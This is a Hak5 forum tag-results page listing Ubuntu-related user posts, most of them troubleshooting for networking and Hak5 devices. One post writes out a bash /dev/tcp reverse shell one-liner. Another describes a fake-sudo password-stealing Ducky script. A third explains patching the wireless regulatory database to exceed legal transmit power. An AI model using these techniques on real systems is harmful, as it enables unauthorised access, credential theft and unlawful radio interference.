Jump to content

Search the Community

Showing results for tags 'Ubuntu'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Talk
    • Everything Else
    • Gaming
    • Questions
    • Business and Enterprise IT
    • Security
    • Hacks & Mods
    • Applications & Coding
    • Trading Post
  • Hak5 Gear
    • Hak5 Cloud CĀ²
    • WiFi Pineapple Mark VII
    • USB Rubber Ducky
    • Bash Bunny
    • Key Croc
    • Packet Squirrel
    • Shark Jack
    • Signal Owl
    • LAN Turtle
    • Screen Crab
    • Plunder Bug
  • O.MG (Mischief Gadgets)
    • O.MG Cable
    • O.MG DemonSeed EDU
  • WiFi Pineapple (previous generations)
    • WiFi Pineapple TETRA
    • WiFi Pineapple NANO
    • WiFi Pineapple Mark V
    • WiFi Pineapple Mark IV
    • Pineapple Modules
    • WiFi Pineapples Mark I, II, III
  • Hak5 Shows
  • Community
    • Forums and Wiki
    • #Hak5
  • Projects
    • SDR - Software Defined Radio
    • Community Projects
    • Interceptor
    • USB Hacks
    • USB Multipass
    • Pandora Timeshifting

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


AIM


MSN


Website URL


ICQ


Yahoo


Jabber


Skype


Location


Interests


Enter a five letter word.

  1. Im not sure if this is the right place to ask, so Im sorry for that. But Iam new to this, and are trying to install a cowrie honeypot. And have made the environment, but have forgot the password. Or at least it tells me its wrong the one I thought it should be. Do anyone know any commands to exit out of the cowrie environement and make a new user with a new password ?? Thanks
  2. I have a problem on the latest update of my ubuntu system. I am unable to connect to the internet using Network Manager and i don;t know how to fix it. When i use wicd it keeps telling me "unable to get IP address". systemcrash86@home:~$ sudo service network-manager status ā— NetworkManager.service - Network Manager Loaded: loaded (/lib/systemd/system/NetworkManager.service; enabled; vendor preset: enabled) Active: active (running) since Thu 2019-03-07 20:45:48 GMT; 1min 54s ago Docs: man:NetworkManager(8) Main PID: 7615 (NetworkManager) Tasks: 3 (limit: 4915) Memory: 13.0M CGroup: /system.slice/NetworkManager.service ā””ā”€7615 /usr/sbin/NetworkManager --no-daemon Mar 07 20:46:14 TheMachine NetworkManager[7615]: <info> [1551991574.0502] dhcp4 (wlp2s5): dhclient started with pid 7674 Mar 07 20:46:14 TheMachine NetworkManager[7615]: <info> [1551991574.0590] dhcp4 (wlp2s5): client pid 7674 exited with status 1 Mar 07 20:46:14 TheMachine NetworkManager[7615]: <info> [1551991574.0590] dhcp4 (wlp2s5): state changed unknown -> done Mar 07 20:46:14 TheMachine NetworkManager[7615]: <info> [1551991574.0591] dhcp4 (wlp2s5): canceled DHCP transaction Mar 07 20:46:46 TheMachine NetworkManager[7615]: <info> [1551991606.1337] device (wlp2s5): state change: ip-config -> failed (reason 'ip-config-unavailable', sys-iface-state: 'managed') Mar 07 20:46:46 TheMachine NetworkManager[7615]: <info> [1551991606.1344] manager: NetworkManager state is now DISCONNECTED Mar 07 20:46:46 TheMachine NetworkManager[7615]: <warn> [1551991606.1349] device (wlp2s5): Activation: failed for connection 'home-network' Mar 07 20:46:46 TheMachine NetworkManager[7615]: <info> [1551991606.1648] device (wlp2s5): state change: failed -> disconnected (reason 'none', sys-iface-state: 'managed') Mar 07 20:46:46 TheMachine NetworkManager[7615]: <warn> [1551991606.1908] sup-iface[0x55b009eb40b0,wlp2s5]: connection disconnected (reason -3) Mar 07 20:46:46 TheMachine NetworkManager[7615]: <info> [1551991606.1908] device (wlp2s5): supplicant interface state: completed -> disconnected systemcrash86@home:~$ systemcrash86@home:/etc/default$ nmcli wlp2s5: connecting (getting IP configuration) to home-network "Qualcomm Atheros AR9227" wifi (ath9k), 10:FE:ED:87:8E:FD, hw, mtu 1500 enp4s0: unavailable "Realtek RTL8111/8168/8411" ethernet (r8169), 70:4D:7B:64:25:22, hw, mtu 1500 lo: unmanaged "lo" loopback (unknown), 00:00:00:00:00:00, sw, mtu 65536 Use "nmcli device show" to get complete information about known devices and "nmcli connection show" to get an overview on active connection profiles. Consult nmcli(1) and nmcli-examples(5) manual pages for complete usage details. systemcrash86@home:/etc/default$ sudo lshw -C network *-network description: Wireless interface product: AR9227 Wireless Network Adapter vendor: Qualcomm Atheros physical id: 5 bus info: pci@0000:02:05.0 logical name: wlp2s5 version: 01 serial: 10:fe:ed:87:8e:fd width: 32 bits clock: 66MHz capabilities: bus_master cap_list ethernet physical wireless configuration: broadcast=yes driver=ath9k driverversion=4.18.0-16-generic firmware=N/A latency=168 link=no multicast=yes wireless=IEEE 802.11 resources: irq:20 memory:fe900000-fe90ffff *-network description: Ethernet interface product: RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller vendor: Realtek Semiconductor Co., Ltd. physical id: 0 bus info: pci@0000:04:00.0 logical name: enp4s0 version: 0c serial: 70:4d:7b:64:25:22 size: 10Mbit/s capacity: 1Gbit/s width: 64 bits clock: 33MHz capabilities: pm msi pciexpress msix vpd bus_master cap_list ethernet physical tp mii 10bt 10bt-fd 100bt 100bt-fd 1000bt 1000bt-fd autonegotiation configuration: autonegotiation=on broadcast=yes driver=r8169 driverversion=2.3LK-NAPI duplex=half firmware=rtl8168g-2_0.0.1 02/06/13 latency=0 link=no multicast=yes port=MII speed=10Mbit/s resources: irq:17 ioport:d000(size=256) memory:fe800000-fe800fff memory:f0000000-f0003fff systemcrash86@home:/etc/default$ systemcrash86@home:/etc/default$ nmcli device show GENERAL.DEVICE: wlp2s5 GENERAL.TYPE: wifi GENERAL.HWADDR: 10:FE:ED:87:8E:FD GENERAL.MTU: 1500 GENERAL.STATE: 30 (disconnected) GENERAL.CONNECTION: -- GENERAL.CON-PATH: -- GENERAL.DEVICE: enp4s0 GENERAL.TYPE: ethernet GENERAL.HWADDR: 70:4D:7B:64:25:22 GENERAL.MTU: 1500 GENERAL.STATE: 20 (unavailable) GENERAL.CONNECTION: -- GENERAL.CON-PATH: -- WIRED-PROPERTIES.CARRIER: off GENERAL.DEVICE: lo GENERAL.TYPE: loopback GENERAL.HWADDR: 00:00:00:00:00:00 GENERAL.MTU: 65536 GENERAL.STATE: 10 (unmanaged) GENERAL.CONNECTION: -- GENERAL.CON-PATH: -- IP4.ADDRESS[1]: 127.0.0.1/8 IP4.GATEWAY: -- IP6.ADDRESS[1]: ::1/128 IP6.GATEWAY: -- IP6.ROUTE[1]: dst = ::1/128, nh = ::, mt = 256 systemcrash86@home:/etc/default$
  3. Upgraded to Ubuntu 18.04, ran the wp6.sh script. The pineapple would work after I disconnected and reconnected and reset Network Manager but it would work sometimes. The Route Table was also messed up, it had dual entries for 172.16.42.0 as an example. Instead I came up with procedures that work really well. Take a look ---------------------------------------------------------------------------- prior to plugging Pineapple in #Ensure /etc/resolv.conf has DNS entries if not add DNS, ignore warnings nano /etc/resolvconf/resolv.conf.d #If nothing there add nameserver 8.8.8.8 nameserver 1.1.1.1 #Ensure ufw is disabled ufw disable #Make sure routing is enabled cat /proc/sys/net/ipv4/ip_forward #Set to 1 if 0 nano /proc/sys/net/ipv4/ip_forward #Plug-in Pineapple Route Table will look soemething like this: root@redsox1:~# route Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface default _gateway 0.0.0.0 UG 0 0 0 wlo1 default _gateway 0.0.0.0 UG 20100 0 0 enx00c0ca914973 10.0.0.0 0.0.0.0 255.255.255.0 U 600 0 0 wlo1 link-local 0.0.0.0 255.255.0.0 U 1000 0 0 enx00c0ca914973 172.16.42.0 0.0.0.0 255.255.255.0 U 100 0 0 enx00c0ca914973 #Delete the additonal route added by the Pineapple route del -net 0.0.0.0/0 dev enx00c0ca914973 Table should look like this root@redsox1:~# route Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface default _gateway 0.0.0.0 UG 0 0 0 wlo1 10.0.0.0 0.0.0.0 255.255.255.0 U 600 0 0 wlo1 link-local 0.0.0.0 255.255.0.0 U 1000 0 0 enx00c0ca914973 172.16.42.0 0.0.0.0 255.255.255.0 U 100 0 0 enx00c0ca914973 #http into the pineapple http://172.16.42.1:1471 and change the default route to 172.16.42.201 #Web into 172.16.42.1:1417 and make sure you can update bulletins #Now you have internet sharing with the Pineapple!!!
  4. I recently got my Nano and ran the set up just like in the setup instructions for Linux but unfortunately, I am met with an issue where it will connect long enough for the bulletins to connect but then it will display the connection error "Error Connecting to WifiPineapple.com". I am running Ubuntu Advark
  5. Hi Guys and Gals, Ive recently set a OpenVPN on my home server running Ubuntu Server. I have managed to set it up to a point where i can connect to it via my laptop and phone whilst on and off the network, HOWEVER i have no internet coming through !!! Any ideas or help would be great. Thanxs
  6. Hi all, I'm a newbie to Hak5 Forums, so if this thread is in the wrong category, it would be great if the admins could move it to the correct category. Most of you are probably using 'BO' as the region for 'iw' on Linux. This allows the WiFi interface to operate at 30dBm (1 Watt) at max. However, if you're like me and have a device that is capable of transmitting over 1W (I have Alpha Network AWUS036NH - 2W), you might be interested in increasing the TX power beyond 30dBm. By default, selecting 'BO' as the region only allows the device to operate at a maximum of 30dBm. I tested this on my Raspberry Pi 3, Model B running Kali Linux (with the kali-linux-full metapackage). *** If you are lazy and don't want to follow these manual steps below, I made two bash scripts that will work on Kali Linux and Ubuntu : https://github.com/hiruna/wifi-txpower-unlocker Working directory: /root Steps: 1. Update and upgrade apt-get update apt-get upgrade 2. Install dependencies to compile apt-get install pkg-config libnl-3-dev libgcrypt11-dev libnl-genl-3-dev build-essential 3. Download the latest Central Regulatory Domain Agent (CRDA) and Wireless Regulatory Database I downloaded crda-3.18.tar.xz and wireless-regdb-2017.03.07.tar.xz wget https://www.kernel.org/pub/software/network/crda/crda-3.18.tar.xz wget https://www.kernel.org/pub/software/network/wireless-regdb/wireless-regdb-2017.03.07.tar.xz 4. Unzip the downloaded files tar xvJf crda-3.18.tar.xz tar xvJf wireless-regdb-2017.03.07.tar.xz 5. Navigate into wireless-regdb-2017.03.07 cd wireless-regdb-2017.03.07 6. Open db.txt and locate the region BO section nano db.txt You will see something like this: country BO: DFS-JP (2402 - 2482 @ 40), (30) (5250 - 5330 @ 80), (30), DFS (5735 - 5835 @ 80), (30) The number in the second set of brackets (for each frequency) is the txpower. Since I'm using the 2.4Ghz and want a txpower of 2W (~33dBm), I changed the 20 to 33, and saved the file: country BO: DFS-JP (2402 - 2482 @ 40), (33) (5250 - 5330 @ 80), (30), DFS (5735 - 5835 @ 80), (30) I also noticed that region AU allows 36dBm for 2.4Ghz, so you could just continue without modifying the region BO: country AU: DFS-ETSI (2400 - 2483.5 @ 40), (36) (5150 - 5250 @ 80), (23), NO-OUTDOOR, AUTO-BW (5250 - 5350 @ 80), (20), NO-OUTDOOR, AUTO-BW, DFS (5470 - 5600 @ 80), (27), DFS (5650 - 5730 @ 80), (27), DFS (5730 - 5850 @ 80), (36) (57000 - 66000 @ 2160), (43), NO-OUTDOOR However, I checked with Kali Linux (without compiling and changing the regulatory.bin) and it showed that max txpower was only 20dBm: country AU: DFS-ETSI (2402 - 2482 @ 40), (N/A, 20), (N/A) (5170 - 5250 @ 80), (N/A, 17), (N/A), AUTO-BW (5250 - 5330 @ 80), (N/A, 24), (0 ms), DFS, AUTO-BW (5490 - 5710 @ 160), (N/A, 24), (0 ms), DFS (5735 - 5835 @ 80), (N/A, 30), (N/A) So I'm assuming Kali Linux is using an old regulatory.bin and legislation in AU has changed. 7. Compile make 8. Backup up your old regulatory.bin file and move the new file into /lib/crda mv /lib/crda/regulatory.bin /lib/crda/regulatory.bin.old mv regulatory.bin /lib/crda As mentioned in https://wireless.wiki.kernel.org/en/developers/regulatory/crda and https://wireless.wiki.kernel.org/en/developers/regulatory/wireless-regdb, we need to include RSA public keys in crda-3.18/pubkeys. I noticed that there are already 2 .pem files in crda-3.18/pubkeys: sforshee.key.pub.pem linville.key.pub.pem 9. Copy root.key.pub.pem into crda-3.18/pubkeys. I also copied sforshee.key.pub.pem from wireless-regdb-2017.03.07 as it was newer: cp root.key.pub.pem ../crda-3.18/pubkeys/ cp sforshee.key.pub.pem ../crda-3.18/pubkeys/ I found that there are two other pubkeys located at /lib/crda : -rw-r--r-- 1 root root 451 Jan 18 12:58 benh@debian.org.key.pub.pem -rw-r--r-- 1 root root 451 Jan 18 12:58 linville.key.pub.pem -rw-r--r-- 1 root root 451 Jan 18 12:58 sforshee.key.pub.pem So I copied them too (wasn't too sure whether I needed to copy them): cp /lib/crda/pubkeys/benh\@debian.org.key.pub.pem ../crda-3.18/pubkeys/ cp /lib/crda/pubkeys/linville.key.pub.pem ../crda-3.18/pubkeys/ 10. Navigate into crda-3.18 and open the Makefile cd ../crda-3.18 nano Makefile In Kali Linux, crda is located at /lib/crda instead of /usr/bin/crda, so in the file change the 3rd line REG_BIN?=/usr/lib/crda/regulatory.bin to REG_BIN?=/lib/crda/regulatory.bin : REG_BIN?=/lib/crda/regulatory.bin 11. In the Makefile, find the line CFLAGS += -std=gnu99 -Wall -Werror -pedantic and remove the -Werror option (I couldn't compile without changing it as it treats warnings as errors): CFLAGS += -std=gnu99 -Wall -pedantic 12. Compile make clean make make install That's it! I rebooted my Raspberry Pi after compiling. reboot 13. Now let's change the region and set the txpower to 33dBm: ifconfig wlan1 down iw reg set BO iwconfig wlan1 txpower 33 ifconfig wlan1 up
  7. I would just like to preface by saying that I won't be here to read or respond to comments. I apologize for that, but I am spending as much time as I can focusing on research and learning everything I can. This is a time I would consider to be my intellectual prime and I really want to use this time as best I can in that regard, so I hope you can understand why I won't be actively engaging as a user in general. https://medium.com/@ViGrey/phishing-for-root-using-shell-functions-against-mac-and-linux-2b1b7edbb9a9 This is a script that pretends to be sudo and /usr/bin/sudo, acts like the password prompt, steals the password and deletes traces of itself, including the shell history of running the script itself. The specific ducky script in this post is for Ubuntu with Unity, but it could easily be tweaked to work with other desktops, distros, and even Mac OS X. The idea for this came when I was in the early stages of the research project I'm currently working on involving U2F security tokens (I'll make a post here about that later after I get a POC and blog post up). After testing out some commands for the project, the thought "Could I alias sudo?" came to mind and I decided to try it. Sure enough, it worked flawlessly. I then checked to see if I could alias sudo and call sudo at the end, essentially injecting commands into sudo. That worked flawlessly as well. Figuring these things out opened more questions and I ended up in a rabbit hole thinking about what I could do with it. After getting some other work done, I decided to start working on the ideas about 2 or 3 days ago after figuring out the same can be said about shell functions as aliases and came up with this. The ducky script is in the blog post, but also at https://gist.github.com/ViGrey/a988c76c87898a2156da7724c57f16b4#file-rootphisher-ducky. Go ahead and tinker with it; make it better. I know there are probably better ways to handle some edge cases that can arise, but I leave that as a exercise for you all and possibly myself in the future to look at. I just had fun working on this. Apologies for any confusing parts or spelling errors in the blog post. I wrote that post in a bit of a rush so I could get back to my current research project. Have fun with it!
  8. Hello, I just got my Rubber Ducky and started toying with it, but can't get the desired outcome on my Ubuntu Xenial machine. System: Ubuntu 16.04 Xenial 4.4.0-70-generic Compile Steps: Deleted inject.bin, ran java -jar /path/to/duckencode.jar -i hello.txt, created an inject.bin. Script: REM Description: Open "Run a Command", run gnome-terminal DELAY 3000 ALT F2 DELAY 1500 STRING gnome-terminal DELAY 750 STRING echo Hello World ENTER Outcome: The ALT F2 part of the script not working, the delays, the string inputs and enter keys are working. Test: Opened gEdit, focused the window and replayed payload. Output: gnome-terminal echo Hello World Expectation: Gnome Terminal to open, focused, and write echo Hello World then return key. Alternative: Tried CTRL ALT t, without STRING gnome-terminal ENTER and does not work either. Alt Script: REM Description: Open Terminal DELAY 3000 CTRL ALT t DELAY 1500 STRING echo Hello World ENTER Test: Opened gEdit, focused the window and replayed payload. Output: echo Hello World Expectation: Gnome Terminal to open, focused, and write echo Hello World then return key. No Gnome Terminal opened, just did STRING echo Hello World ENTER in gEdit. Is there something I am doing wrong? Is there something I should know? Any help or suggestions would be appreciated. I will be switching over to Windows tomorrow, but just thought this was odd and worth mentioning for Ubuntu 16.04.
  9. Bought an alfa awus036nh and loaded up ubuntu 16.04 lts on a thinkpad 420. BUT the thinkpad wireless gets me a better signal than the alfa??? I noted the power readings from fluxion using both wireless adapters in the same location. ALSO I can't seem to up the TX on the alfa at all. is there a problem with Ubuntu drivers and this usb wireless adapter? I thought it was supposed to be pretty well respected for hacking? I found a few discussions on this topic that lead me to believe that the current standard drivers in ubuntu 16.04 weren't the correct ones BUT they all seem to disagree on which to install. thanks for any pointers.
  10. So I am running the BB script to bring my bunny online via Ubuntu 16 server. I can run it and gain access, but after like 10 mins it drops the connection and I loose the shared interface in my networking setup. I can ssh fine, and then after 10 mins I lose the sessions and it drops the connection. I'm not running any network manager to be interrupting the connection, has anyone else seen this?
  11. Whenever I type the following: pc@pc-eME732Z ~/Downloads/metasploit-framework-master $ msfconsole /var/lib/gems/2.3.0/gems/activesupport-4.2.7.1/lib/active_support/dependencies.rb:274:in `require': cannot load such file -- robots (LoadError) from /var/lib/gems/2.3.0/gems/activesupport-4.2.7.1/lib/active_support/dependencies.rb:274:in `block in require' from /var/lib/gems/2.3.0/gems/activesupport-4.2.7.1/lib/active_support/dependencies.rb:240:in `load_dependency' from /var/lib/gems/2.3.0/gems/activesupport-4.2.7.1/lib/active_support/dependencies.rb:274:in `require' from /opt/metasploit-framework/lib/metasploit/framework.rb:18:in `<top (required)>' from /opt/metasploit-framework/lib/metasploit/framework/database.rb:1:in `require' from /opt/metasploit-framework/lib/metasploit/framework/database.rb:1:in `<top (required)>' from /opt/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `require' from /opt/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `<top (required)>' from /opt/metasploit-framework/lib/metasploit/framework/parsed_options/console.rb:2:in `require' from /opt/metasploit-framework/lib/metasploit/framework/parsed_options/console.rb:2:in `<top (required)>' from /var/lib/gems/2.3.0/gems/activesupport-4.2.7.1/lib/active_support/inflector/methods.rb:263:in `require' from /var/lib/gems/2.3.0/gems/activesupport-4.2.7.1/lib/active_support/inflector/methods.rb:263:in `const_get' from /var/lib/gems/2.3.0/gems/activesupport-4.2.7.1/lib/active_support/inflector/methods.rb:263:in `block in constantize' from /var/lib/gems/2.3.0/gems/activesupport-4.2.7.1/lib/active_support/inflector/methods.rb:259:in `each' from /var/lib/gems/2.3.0/gems/activesupport-4.2.7.1/lib/active_support/inflector/methods.rb:259:in `inject' from /var/lib/gems/2.3.0/gems/activesupport-4.2.7.1/lib/active_support/inflector/methods.rb:259:in `constantize' from /var/lib/gems/2.3.0/gems/activesupport-4.2.7.1/lib/active_support/core_ext/string/inflections.rb:66:in `constantize' from /opt/metasploit-framework/lib/metasploit/framework/command/base.rb:73:in `parsed_options_class' from /opt/metasploit-framework/lib/metasploit/framework/command/base.rb:69:in `parsed_options' from /opt/metasploit-framework/lib/metasploit/framework/command/base.rb:47:in `require_environment!' from /opt/metasploit-framework/lib/metasploit/framework/command/base.rb:81:in `start' from /usr/local/bin/msfconsole:48:in `<main>' Please help !!! I use LInux Mint 32 bit
  12. I am a complete noob at this, so I could be doing something completely wrong. Just got the Lan turtle today. Plugged it in with a phone charger meeting minimium power requirements and connected it to a PC with an OTG ethernet-to-USB adapter. Had to setup the network connection manually (on Ubuntu 16.10) with: IP - 172.16.84.1, Netmask - 255.255.255.0, Gateway - 192.168.1.1, DNS Servers - 208.67.222.222 and 208.67.220.220. After that, I check the connection with ifconfig and everything appears to be OK, so I finally tried connecting to the Lan Turtle. :$ ssh root@172.16.84.1 Permission denied (publickey). I have setup openssh on a few of my PCs for ssh-key authentication only, but this the first time using the Lan Turtle. Also realised I cannot browse on the internet while it is connected, even with wifi and another wired connection available. I have searched around to see if there is a fix for this, but I canot find anything.
  13. Not totally sure what I'm doing. I started a reverse shell on my ubuntu machine. 0<&96-;exec 96<>/dev/tcp/192.168.1.4/2222;sh <&96 >&96 2>&96 I get a file descriptor error when I run the command but it opens a shell and I can interact with the target system (Ubuntu 16.04 Desktop). When I use cron_persistence from armitage it seems to work fine. When I reboot the target it just black screens and never runs desktop. It's funny. I had been hacked running Ubuntu about a week ago but I figured that the attacker had intentionally PDOSed my system. It was probably accidental. Anybody have any idea what's going on here? What am I doing wrong with the shell and what do I do to fix the issue on the target machine?
  14. i went into "user setings" and changed "asded at login" to " not asded on login". now i cant sign in. it does not give me the option to enter a password just says login, but playes the incorect pw sound when i try i can get into the guest account but that does me no good case su and sudo dont work i can ctrl alt f1 and login to the user there i tried sudo visudo and changed the line to read NOPASSWD:ALL but that did not work anyone know how i can chage back the user settings to ask for password at login from terminal?
  15. Hey all, I have been using my Chromebook as my daily driver and using a Kali XFCE4 chroot as my pentest distro. I was wondering if anyone knew how I could install Gnome Ubuntu, on crouton. I tried to install it with targets Gnome, Gnome-Desktop, and Ubuntu Xenial, but it came up with an error: This may mean that the package is missing, has been obsoleted, or is only available from another source However the following packages replace it: gnome-session-flashback E: Package 'gnome-session-fallback' has no installation candidate Failed to complete chroot setup. Does anyone know what I can do? Here are my laptop specs: Chrome OS - ASUS C200 Version 48.0.2564.109 (64-bit) Developer Mode Enabled 8Gb Storage 2Gb Ram The crouton command I have been trying to use is as follows: sudo sh -e ~/Downloads/crouton -r xenial -t audio,xorg,xiwi,extension,gnome,gnome-desktop,gtk-extra,x11,keyboard -n test Any would be greatly appreciated
  16. Hi, I am really a newbie when it comes to security, I have an instance hosted on Amazon, it only have LDAP Server installed, Apache server hosting phpLDAPadmin, and one more instance (Client) that connect to this instance to authenticate using LDAP. I was conducting a load test on the Client, after a while got following email from amazon regarding the LDAP server It has come to our attention that Denial of Service (DoS) attacks were launched from your instance to IP(s) xxx.xxx.xxx.xxx via TCP port(s) 53. Please investigate your instance(s) and reply detailing the corrective measures you will be taking to address this activity I am trying to know what happened exactly, to be able to resolve this problem. I have checked the auth.log and founf alot of break-in attempts but none of them where successful, the only accepted Thanks In advance, u7e
  17. Gr33tingz 3@rthl!ngz ! So, I got a hamidown laptop, nothing special... but I wanted to have a multiboot system. I was going down the list of what I want to start with and fair warning, sadly (Or noobishly?) I been a windows user like.... well until six monts ago, Though in a very nerd like fashion, computers being my life, I have digged in and learned my way around a terminal like a champ but I have a way to got ... SO! This PC has.... sigh... 2gbs of ram (will have for in three day... still pretty emberassing lol). 250GB og memory. Im here to ask all you technolist... lust? If I where to Start a bootable repetuar on this heap of.. Windows 7 (Or 8, but seems more stable for the wares im pushing) Ubuntu Kali CAN SOME ONE PLEASE! Propose some partitioning Schemes. NO, I dont do REALLy havy dude like Video editing, and lets be serious, couldnt even If I wanted to lol. Id use this more as a swiss armyknife for Web Dev Work (not using TOO fancy local dev progz (I LOVE ATOM!!.. adobe can suk it)). Day to day business use and my sharpest knif... Pen Testing . There you have it... PC SPECS, desired OSs' and my purpose for this SSH-INE!!!!!! Appreciarte any suggestions, -ScriptSo
  18. I wanted to proxify firefox on Ubuntu 15 I tried a couple of different methods. I remember it used to be just pop open firefox and manually enter the proxy IP and port in the network preferences. But it just doesn't work. I tried editing /etc/environment but no dice. Is there is a prefered method? Which configuration files or whatnot do I have to edit?
  19. So did the first update all ok, runs ok on my windows box, however I attached the turtle to a Ubuntu box and when i do ifconfig i dont see eth1, just my normal eth0. Any follow up how to make this thing work ? For some reason i am able to ping the lanturtle ip, but cant ssh into it (refuse connection) from my windows box. Help would be deeply appreciated Thanks guys
  20. I wrote a few shell (bash?) scripts to simplify some of my tasks in my Kali and Ubuntu Live discs. These were saved as .sh files that could be run when I double-clicked them. I am in the process of writing others for other repetitive tasks Now that I have updated to Kali 2.0, I cannot run these by double-clicking them. Setting them to run in "Run application" returns a message that says: "unable to locate program" I have just written a program called script.sh: #!/bin/bash/ echo "Hello World" And this one has the same difficulties. They all run in terminal with "sh script.sh", but that defeats their simplicity. The same problem happens in Kali and Ubuntu, so I don't think it is a Kali 2.0 issue, but it is the first place I noticed the issue. Permissions are set to run as programs, and the properties tab is checked for "Allow executing file as a program."
  21. OK, I know I am doing something wrong, but I have no idea what. I've tried a few times now, read the instructions, watched the video and I can't this working for the life of me. I am running a Dell Latitude 2100 running Ubuntu. I am not a big Terminal user, but I can follow directions and know a little of how to do things. I can't seem to find anything on the forums for similar issues (Though it could be the terms I'm searching), so if I missed a solution I apologize. If the Pineapple is connected via Ethernet, I can access it, but I can't access the internet via WiFi. If I disconnect, no problem at all. So I downloaded and ran the wp5 file, and get the prompts, but the Internet Gateway shows the Pineapple IP. So no internet, but access to Pineapple is OK. If I try and check for updates, I get an error saying it can't connect. Here is the wp5 output Pineapple Netmask [255.255.255.0]: Pineapple Network [172.16.42.0/24]: Interface between PC and Pineapple [eth0]: Interface between PC and Internet [wlan0]: Internet Gateway [172.16.42.1]: IP Address of Host PC [172.16.42.42]: IP Address of Pineapple [172.16.42.1]: _ . ___ \||/ Internet: 172.16.42.1 - wlan0 ( _ )_ <--> [___] <--> ,<><>, Computer: 172.16.42.42 (_ _(_ ,) \___\ '<><>' Pineapple: 172.16.42.0/24 - eth0 SIOCDELRT: No such process SIOCADDRT: Network is unreachable Browse to http://172.16.42.1:1471 Now, if I unplug the Pineapple from my Ethernet port, and run again, I get this: Pineapple Netmask [255.255.255.0]: Pineapple Network [172.16.42.0/24]: Interface between PC and Pineapple [eth0]: Interface between PC and Internet [wlan0]: Internet Gateway [192.168.1.254]: IP Address of Host PC [172.16.42.42]: IP Address of Pineapple [172.16.42.1]: _ . ___ \||/ Internet: 192.168.1.254 - wlan0 ( _ )_ <--> [___] <--> ,<><>, Computer: 172.16.42.42 (_ _(_ ,) \___\ '<><>' Pineapple: 172.16.42.0/24 - eth0 I get this. I did ifconfig and checked the IP and such and tried the below, manually adding the IP and the mask, but get the error included. Pineapple Netmask [255.255.255.0]: Pineapple Network [172.16.42.0/24]: Interface between PC and Pineapple [eth0]: Interface between PC and Internet [wlan0]: Internet Gateway [172.16.42.1]: 192.168.1.254 IP Address of Host PC [172.16.42.42]: 192.168.1.70 IP Address of Pineapple [172.16.42.1]: _ . ___ \||/ Internet: 192.168.1.254 - wlan0 ( _ )_ <--> [___] <--> ,<><>, Computer: 192.168.1.70 (_ _(_ ,) \___\ '<><>' Pineapple: 172.16.42.0/24 - eth0 SIOCDELRT: No such process So... Really not sure what I am doing wrong or how to get this to work. I've tried 4-5 times and get some variation of the above depending on what info I try. Can anybody offer any suggestions or solutions? I'm baffled! Thanks in advance.
  22. What's up guys? Apparently I didn't think this completely through: I have Ubuntu installed on a 32GB SDHC card that I have installed on my Asus G75VW (currently rocking 8.1) and my idea was to use the SD card as the *third HDD on the system (I have both HDD bays used for Win 8.1..probably a mistake but I'll deal with that after the fact..working to SSD) SO when I go to hit ESC to try and boot to the SD card, I can only select between Windows, DVD drive, or only USB (when one is present). When I went to install Ubuntu on the card , I swore I installed GRUB, but it's not even recognizing the drive as a whole. Am I missing something, or does my logic here not work?
  23. I've spent countless hours trying to get GNURadio-Companion to install along with the needed "source blocks" to make an RTL-SDR Dongle work. Online documention on this is very poor. But I've got it to work, and just for fun I did it twice! This How-To assumes you're running a freshly installed Ubuntu 14.04.1 LTS & assumes you're sort of a newbie to Linux as I am. Below are the commands you type, do not include the quote signs. 1) Log into a desktop terminal 2) Make sure you're in your home directory by typing "cd ~" 3) Type "sudo apt-get install git-core" 4) Type "sudo apt-get install cmake" 5) Type "sudo apt-get install libusb-1.0-0-dev" 6) Type "sudo apt-get install build-essential" 7) Type "git clone git://git.osmocom.org/rtl-sdr.git" 8) Type "cd rtl-sdr" 9) Type "mkdir build" 10) Type "cd build" 11) Type "cmake ../ -DINSTALL_UDEV_RULES=ON" 12) Type "make" 13) Type "sudo make install" 14) Type "sudo ldconfig" If everything worked up to this point you should not see any messages after typing the sudo ldconfig command. 15) Type "cd ~" 16) Type "sudo cp ./rtl-sdr/rtl-sdr.rules /etc/udev/rules.d" 17) Type "sudo reboot" <-- not sure if a reboot is needed at this time, but I seen it listed on a partial list of how-to's, so I did it and my system worked! Once your system reboots log back into a terminal window as before. 18) Type "cd /etc/modprobe.d" 19) Type "sudo nano no-rtl.conf" This will start your editor and put you into a blank file called no-rtl.conf. While you are in the editor type the following 3 lines: blacklist dvb_usb_rtl28xxu blacklist rtl2832 blacklist rtl2830 That is it, just those 3 lines, nothing more! To save the file hold the CTRL key and hit the "O" (oh, not zero), next it enter. Your file is now saved. To exit out of the nano editor type CTRL X. 20) Type "sudo reboot" <-- this reboot is needed! Once your system reboots log back into a terminal window as before. Plug your RTL-SDR into a USB port if you already hadn't. 21) Type "rtl-test -t" You should then see the name of your RTL device as well as some other info. The last line will say "No E4000 tuner found, aborting" Don't worry about this as your RTL-SDR dongle probably has the R820 tuner and not the E4000. If you want to receive ADS-B / Mode-S data you do NOT want the E4000 tuner as it will not tune 1090 MHz. 22) Type "cd ~" 23) Type "git clone git://github.com/pybombs/pybombs" 24) Type "cd /pybombs" 25) Type "./pybombs install uhd gnuradio hackrf" You will be asked a series of questions, simply hit the enter key after each question. It will run for a short time then ask for your sudo password, this actually might happen a couple times during the build process, each time enter your sudo password (same as your user password). You also might be asked to hit the "Y" key a couple times, sometimes I was and sometimes I wasn't. Most of what I've seen online says this process will take 1 1/2 to 2 hours. On my machine (2 Meg Ram & 1.5 GHz processor) it was much closer to 3 hours. 26) When the above build is done there is one last thing to install, this will bring in the "source" and "sink" blocks, something that is missing from every online set of instructions I've seen. Without the "source" block you have no way to use the RTL dongle! So now type "./pybombs install gr-osmosdr" this will take several minutes to run. 27) Type "./pybombs env" 28) Type "source /home/av8tor/target/setup_env.sh" Replace the word av8tor with your username you use to log into Ubuntu, just happens my username is av8tor. 29) Type "gnuradio-companion" now you're HOME FREE!!! One last thing to remember is that everytime you reboot Ubuntu, you'll have to type the "source /home/av8tor/target/setup_env.sh" command or gnuradio-companion will NOT work. I hope this helps other that have had a hardtime getting gnuradio to work. George www.MilAirComms.com
